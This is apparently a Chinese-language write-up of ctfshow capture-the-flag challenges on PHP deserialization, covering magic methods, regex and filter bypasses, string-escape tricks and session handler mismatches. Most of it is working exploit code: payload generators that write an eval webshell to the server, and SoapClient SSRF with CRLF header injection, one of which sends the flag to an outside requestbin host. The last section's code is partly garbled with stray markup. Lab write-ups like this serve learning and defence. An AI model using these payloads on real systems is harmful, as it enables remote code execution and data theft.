反序列化
trick
16进制绕过字符的过滤
O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}可以写成O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";}表示字符类型的s大写时,会被当成16进制解析。
1. __sleep() //在对象被序列化之前运行2. __wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符是会绕过)3. __construct() //当对象被创建时,会触发进行初始化4. __destruct() //对象被销毁时触发5. __toString(): //当一个对象被当作字符串使用时触发6. __call() //在对象上下文中调用不可访问的方法时触发7. __callStatic() //在静态上下文中调用不可访问的方法时触发8. __get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据9. __set() //用于将数据写入不可访问的属性10. __isset() //在不可访问的属性上调用isset()或empty()触发11. __unset() //在不可访问的属性上使用unset()时触发12. __toString() //把类当作字符串使用时触发13. __invoke() //当脚本尝试将对象调用为函数时触发
序列化对象:private变量会被序列化为:\x00类名\x00变量名protected变量会被序列化为: \x00*\x00变量名public变量会被序列化为:变量名
web254
error_reporting(0);highlight_file(__FILE__);include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){if($this->username===$u&&$this->password===$p){$this->isVip=true;}return $this->isVip;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}}$username=$_GET['username'];$password=$_GET['password'];if(isset($username) && isset($password)){$user = new ctfShowUser();if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}}
username和password只要等于类里边的name变量就可以得出flag
web255
error_reporting(0);highlight_file(__FILE__);include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}}$username=$_GET['username'];$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}}
payload
<?class ctfShowUser{public $isVip=true;public $username='a';public $password='a';}$o=new ctfShowUser();echo serialize($o);?>
web256
error_reporting(0);highlight_file(__FILE__);include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;if($this->username!==$this->password){echo "your flag is ".$flag;}}else{echo "no vip, no flag";}}}$username=$_GET['username'];$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}}
稍微改一下payload
<?class ctfShowUser{public $isVip=true;public $username='a';public $password='b';}$o=new ctfShowUser();echo serialize($o);?>
web257
error_reporting(0);highlight_file(__FILE__);class ctfShowUser{private $username='xxxxxx';private $password='xxxxxx';private $isVip=false;private $class = 'info';public function __construct(){$this->class=new info();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{private $user='xxxxxx';public function getInfo(){return $this->user;}}class backDoor{private $code;public function getInfo(){eval($this->code);}}$username=$_GET['username'];$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);$user->login($username,$password);}
利用__destruct来触发反序列化点 将$this->class赋值new backDoor利用其eval 命令执行
<?
class ctfShowUser{
private $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code;
public function __construct(){
$this->code='file_put_contents("./shell.php","<?php @eval(\$_POST[1]);?>");echo "[++++++++++++++++++++YES+++++++++++++++++++++++]";';
}
}
$o=new ctfShowUser();
echo urlencode(serialize($o));
?>
写入一句话木马 访问shell.php
web258
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
比上一题多了一个正则
!preg_match('/[oc]:\d+:/i'
过滤了o:int或者c:int
在Int前加+

前面加一个+号即可绕过
payload.php
<?
class ctfShowUser{
public $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code;
public function __construct(){
$this->code='file_put_contents("./shell.php","<?php @eval(\$_POST[1]);?>");echo "[++++++++++++++++++++YES+++++++++++++++++++++++]";';
}
}
$o=new ctfShowUser();
echo urlencode(serialize($o));
?>

web259
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
////////////////////////////////////////////
//flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
访问flag.php需要X_FORWARDED_FOR===127.0.0.1,127.0.0.1
看师傅博客 说是有CF代理 所以不能本地构造
故只能用SoapClient原生类 来进行SSRF请求
<?php
$payload= array(
'user_agent' => "Flowers_BeiCheng\r\nx-forwarded-for:127.0.0.1,127.0.0.1\r\nContent-type:application/x-www-form-urlencoded\r\nContent-length:13\r\n\r\ntoken=ctfshow",
'uri' => 'Flowers_BeiCheng',
'location' => 'http://127.0.0.1/flag.php'
)
$a = new SoapClient(null,$payload);
$o = serialize($a);
echo urlencode($o);
构造如上脚本
当SoapClient类调用没有的方法时触发魔法函数__call
利用CRLF注入 控制UA头进行CRLF注入 进行post数据传输
CRLF Injection漏洞的利用与实例分析.html)
访问flag.txt
综述:
php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。
必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。
通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容
SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,其采用了SOAP协议(SOAP 是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息),其次我们知道某个实例化的类,如果去调用了一个不存在的函数,来触发__call方法
web260
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
传参数ctfshow=ctfshow_i_love_36D
web261
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
unserialize和wake同时存在,则unserialize生效 wake失效
直接利用__destruct中file_put_contents
但想要利用file_put_contents需要$this->code==0x36d(这里考察弱类型比较)
$this->code和0x36d会转换为数字进行比较 0x36d==877
构造payload
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public function __construct(){
$this->username='877.php';
$this->password='<?php @eval($_POST[1]);?>';
}
}
$o = new ctfshowvip();
echo urlencode(serialize($o));
?>
成功写入
web262
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
根据提示还有个message.php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
触发点在message.php
我们要让$msg->token==’admin’,
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
可以看到控制不了$token 可以控制from msg to
传一个正常反序列化内容
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:1:"1";s:5:"token";s:4:"user";}
我们需要构造这样的反序列化内容
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:1:"1";s:5:"token";s:5:"admin";}
这时候就要传入
";s:5:"token";s:5:"admin";} //27个字符
传入的内容需要逃逸出来
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
fuck变成loveU 四个字符变成五个字符
每次变多一个 一共需要27个字符
构造payload
f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
web263
PHP session 反序列化
反序列化处理器
| 处理器 | 对应的存储格式 |
|---|---|
| php | 键名+竖线+经过serialize()函数反序列化处理的值 |
| php_binary | 键名的长度对应的ASCII字符+键名+经过serialize()函数反序列化处理的值 |
| php_serialize(php>=5.5.4) | 经过serialize()函数反序列化处理的数组 |
安全问题
如果PHP在反序列化存储的$_SESSION数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的构造,甚至可以伪造任意数据
session.auto_start=On
当配置选项session.auto_start=On,会自动注册Session会话,因为该过程是发生在脚本代码执行前,所以在脚本中设定的包括序列化处理器在内的session相关配选项的设置是不起作用的,因此一些需要在脚本中设置序列化处理器配置的程序会在session.auto_start=On时,销毁自动生成的Session会话,然后设置需要的序列化处理器,在调用session_start()函数注册会话,这时如果脚本中设置的序列化处理器与php.ini中设置的不同,就会出现安全问题
通读代码
index.php

17行,$_SESSION[‘limit’]首先是为空 通过后面的$_COOKIE[‘limit’]便可以控制$_SESSION[‘limit’]
如果无法控制,利用PHP_SESSION_UPLOAD_PROGRESS来控制session内容
查看check.php
发现包含了inc/inc.php

跟进inc/inc.php

发现配置为 php 进行反序列化的
那php反序列化什么样的呢?
键名+竖线+经过serialize()函数反序列化处理的值
只有 | 后面的内容才会被反序列化
漏洞关键位置

发现了User类里的__destruct()魔法函数可以进行file_put_contents函数进行getshell
思路
- 前提:由于php.ini默认配置为php_serialize
- 利用index.php控制SESSION文件 写入SESSION为序列化后的内容
- 再利用check.php触发反序列化(触发|后面序列化后的内容)
构造payload
class User{
public $username;
public $password;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$o=new User('huahua.php','<?php @eval($_POST[1]);phpinfo();?>');
echo base64_encode('|'.serialize($o));
访问index.php改cookie limit为payload 再次访问写入
访问check.php触发
最后访问log-huahua.php
成功写入

web264
修复了web262非预期
利用web262的payload
需要在cookie里填写msg参数
Soap+FilesystemIterator原生类
查看hint.php文件
<?php
class fxxk{
public $par2='php://filter/read=convert.base64-encode/resource=';
}
echo urlencode(serialize(new fxxk));
?>
hint.php
<?php
$hint = '向管理员的页面post一个参数message(告诉他,"iwantflag") 和 另一个参数 url(它会向这个url发送一个flag';
$hint .= '管理员的页面在当前目录下一个特殊文件夹里';
$hint .= '但是我不知道(你也猜不到的)文件夹名称和管理员页面的名称,更坏的消息是只能从127.0.0.1去访问,你能想个办法去看看(别扫 扫不出来!!!)';
FilesystemIterator原生类读取目录
<?php
class fxxk{
public $par0='FilesystemIterator';
public $par1='./'; //aaaaaaaaaaafxadwagaefae //UcantGuess.php
public $par2=null;
public $par3;
public $kelasi;
}
echo urlencode(serialize(new fxxk));
?>
SoapClient原生类 进行SSRF+CRLF
<?php
$target = 'http://127.0.0.1/unserbucket/aaaaaaaaaaafxadwagaefae/UcantGuess.php';
$post_string = 'message=iwantflag&url=http%3A%2F%2Frequestbin.net%2Fr%2Fah07hla6';
$headers = array(
'X-Forwarded-For: 127.0.0.1'
);
$b=array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab");
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
$c=unserialize($aaa);
class fxxk{
public $par0;
public $par1;
public $par2;
public $par3;
public $kelasi;
public function __construct(){
$this->par0='SoapClient';
$this->par1=null;
}
}
$a=new fxxk();
$a->par2=$c;
$a->par3='unser';
echo urlencode(serialize($a));
?>
安恒某题
anheng.php
<?php
function myAutoloader($classname){
include $classname.".php";
}
if(isset($_REQUEST['pop'])){
$pop = $_REQUEST['pop'];
$o = unserialize($pop);
echo "<br/>";
if($o === false) {
die("格式是不是有问题?");
}else{
spl_autoload_register('myAutoloader');
$o = unserialize($pop);
$raw = serialize($o);
if(preg_match("/Evil/",$raw)){
throw new Error("Evil Classes!");
}
$o = unserialize($raw);
var_dump($o);
}
}else {
highlight_file(__FILE__);
echo "<br/>EvillClass.php";
highlight_file("EvilClass.php");
echo "<br/>";
phpinfo();
}
EvilClass.php
<?php
class A
{
public $a;
public $b;
public function see()
{
$b = $this->b;
$checker = new ReflectionClass(get_class($b));
if(basename($checker->getFileName()) != 'EvilClass.php'){
if(isset($b->a)&&isset($b->b)){
($b->a)($b->b."");
}
}
}
}
class B
{
public $a;
public $b;
public function __toString()
{
$this->a->see();
return "1";
}
}
class C
{
public $a;
public $b;
public function __toString()
{
$this->a->read();
return "lock lock read!";
}
}
class D
{
public $a;
public $b;
public function read()
{
$this->b->learn();
}
}
class E
{
public $a;
public $b;
public function __invoke()
{
$this->a = $this->b." Powered by PHP";
}m
public function __destruct(){
//eval($this->a); ??? 吓得我赶紧把后门注释了
//echo "???";
die($this->a);
}
}
class F
{
public $a;
public $b;
public function __call($t1,$t2)
{
$s1 = $this->b;
$s1();
}
}
?>
if(isset($_REQUEST['pop'])){
$pop = $_REQUEST['pop'];
$o = unserialize($pop);
echo "<br/>";
if($o === false) {
die("格式是不是有问题?");
}else{
spl_autoload_register('myAutoloader');
$o = unserialize($pop);
$raw = serialize($o);
if(preg_match("/Evil/",$raw)){
throw new Error("Evil Classes!");
}
$o = unserialize($raw);
var_dump($o);
}
}
绕过if(preg_match("/Evil/",$raw))
__PHP_Incomplete_Class 不完整的类
反序列化一个不存在的类 打印出了内容
当我们再次序列化其内容
又回到了原内容
PHP在遇到不存在的类时,会把不存在的类转换成PHP_Incomplete_Class这种特殊的类,同时将原始的类名A存放在PHP_Incomplete_Class_Name这个属性中,其余属性存放方式不变。而我们在序列化这个对象的时候,serialize遇到PHP_Incomplete_Class这个特殊类会倒推回来,序列化成PHP_Incomplete_Class_Name值为类名的类,我们看到的序列化结果不是O:22:”PHP_Incomplete_Class_Name”:2:{xxx}而是O:1:”A”:1:{s:1:”a”;s:1:”b”;
构造一串内容如下
`a:2:{i:0;O:8:”stdClass”:1:{s:3:”abc”;N;}i:1;O:22:”PHP_Incomplete_Class”:1:{s:3:”abc”;N;}}<br /><br />可以看到进行第二次serialize的置空了PHP_Incomplete_Class内的属性和内容<br />所以就绕过了if(preg_match(“/Evil/“,$raw))<br />a:1:{i:0;O:22:”PHP_Incomplete_Class”:1:{s:3:”qwb”;O:9:”EvilClass”:0:{}}}<br />利用spl_autoload_register(‘myAutoloader’)`成功包含到了EvilClass.php文件
